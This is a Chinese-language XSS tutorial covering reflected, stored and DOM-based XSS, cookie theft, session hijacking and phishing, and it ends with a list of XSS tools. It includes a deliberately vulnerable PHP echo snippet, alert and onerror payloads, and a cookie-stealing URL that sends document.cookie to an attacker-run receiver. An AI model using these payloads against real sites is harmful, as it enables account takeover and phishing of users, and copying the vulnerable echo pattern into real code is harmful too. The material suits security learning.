关于XSS攻击 XSS分类 XSS的利用方式  绕过姿势 工具

反射型(非持久型)

简介

反射型XSS,也称非持久型XSS,最常见也是使用最广的一种。在反射型XSS中,payload一般存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。攻击者发送恶意Url链接让受害者点击(一般会对payload部分进行处理,如:编码转换和短域名跳转)

例子

xss.php

<?php
highlight_file("xss.php");
$xss = $_GET['xss'];
echo $xss;

传入

?xss=<script>alert('hack')</script>

成功弹窗,这是最简单的xss

关于XSS攻击
XSS分类
XSS的利用方式 
绕过姿势
工具

盗取cookie

还是上面那段代码

1.在自己的服务器上搭建一个接收cookie的接口为

http://www.cookie.com/receive?cookie=xxx;

2.我们通过各种手段诱惑用户点击了

http://121.40.126.133/xss.php?xss=<script>location.href='cookie.com/receive'+document.cookie;</script>

3.用户点击了该链接首先访问121.40.126.133/xss.php接口,因为该链接被注入了恶意js脚本所以访问了黑客的服务器并把当前的cookie发送过去了,拿到cookie后就可以伪造身份登录了。

存储型

存储型XSS,也称持久型XSS,攻击者首先将恶意javascript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意javascript页面就会执行恶意代码,不需要用户点击特定Url就能执行,故存储型XSS比反射型XSS更具威胁性。— 《XSS跨站脚本攻击剖析与防御》
       存储型XSS与反射型XSS最大的区别就在于提交的XSS代码会储存于服务端,下次再访问目标页面时不用再提交XSS代码

DOM型

实际上,这种类型的xss并非按照“数据是否保存在服务器端”来划分,DOM型xss从效果上说也是反射性xss,单独划分出来,是因为它的形成原因比较特殊,由于历史原因,也就把它单独作为一个分类。

通过修改页面的DOM节点形成的xss,称为DOM型xss

看如下代码(出自《白帽子讲web安全》)

<html>
<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href = '"+str+"' >teslink</a>";
}
</script>
<div ></div>
<input type="text"  />
<input type="button"  />

</html>

关于XSS攻击
XSS分类
XSS的利用方式 
绕过姿势
工具

 点击write按钮后,会在当前页面插入一条超链接,其地址为文本框的内容

关于XSS攻击
XSS分类
XSS的利用方式 
绕过姿势
工具

 在这里,write按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM型xss,

构造如下数据:

' onclick=alert(/xss/) //

输入后,页面代码就变成了:

<a herf='' onclick=alert(/xss/) //' >testLink</a>

首先用一个单引号闭合掉herf的第一个单引号,然后插入一个哦onclick事件,最后再用注释符//注释掉第二个单引号。

点击这个新生成的链接,脚本将被执行:

关于XSS攻击
XSS分类
XSS的利用方式 
绕过姿势
工具

实际上,这里还有另外一种利用方式——除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个html标签,尝试以下输入:

'><img src=# onerror=alert(/xss2/) /><'

页面代码变成了:

<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

脚本被执行

关于XSS攻击
XSS分类
XSS的利用方式 
绕过姿势
工具

XSS的利用方式 

cookie窃取

cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。

       这里我们引入一个叫做“同源策略”的概念

我们知道Cookie有如下常见的属性:

  • Domain————设置关联Cookie的域名;
  • Expires————通过给定一个过期时间来创建一个持久化Cookie;
  • Httponly————用于避免Cookie被Javascript访问;
  • Name————Cookie的名称;
  • Path————关联到Cookie的路径,默认为/;
  • Value————读写Cookie的值;
  • Secure————用于指定Cookie需要通过安全Socket层传递连接;

并且Cookie也可以安装类型分为:

  • 本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
  • 内存Cookie————即储存在内存中,随浏览器的关闭而消失;

如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。

由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况

  • 默认
  • 不同域
  • 不同路径
  • http only
  • secure
  • P3P
  • B域设置A域Cookie
  • 加载B域时Cookie传入问题

参考->这里<-

会话劫持

       由于Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。

Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭之后,Session也就“消失”了。
在Session机制中,客户端和服务端也有被其他人利用的可能。
Session和Cookie最大的区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面

这里提到Session是因为我们在现实情况中可能会出现已经获取到了Cookie,但是由于用户已经退出了浏览器指示Session无效,导致我们无法通过Cookie欺骗来获取用户权限;又比如有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时我们便可以利用会话劫持来达到目的。
       会话劫持的实质就是模拟GET/POST请求(带Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。

通过JavaScript控制DOM对象来发起一个get/post请求,如:

var img = document.createElement("img");
img.src = "http://xxx";
document.body.appendChild(img);

钓鱼

xss重定向

http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>

HTML注入式钓鱼

通过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。

Iframe

攻击者通过javascript来添加一个新的<Iframe>标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。

绕过姿势

绕过方式太**多了,不想写了。。

放两个链接:

http://cheatsheets.hackdig.com/?4.htm

https://www.freebuf.com/articles/web/153055.html

工具

https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精华
https://github.com/rajeshmajumdar/BruteXSS BruteXSS
https://github.com/beefproject/beef Beef神器
https://github.com/1N3/XSSTracer 用于检查跨站点跟踪的小型python脚本
https://github.com/0x584A/fuzzXssPHP 一个非常简单的反射XSS扫描仪支持GET/POST
https://github.com/chuhades/xss_scan 反射xss扫描器
https://github.com/BlackHole1/autoFindXssAndCsrf 浏览器的插件,它自动检查页面是否具有xss和漏洞
https://github.com/shogunlab/shuriken xss命令行工具用于测试web应用程序中xss负载列表
https://github.com/UltimateHackers/XSStrike 用于XSS、WAF检测和旁路的模糊和蛮力参数
https://github.com/stamparm/DSXS 一个完全功能的跨站点脚本漏洞扫描器,支持获取和发布参数,并写入100行代码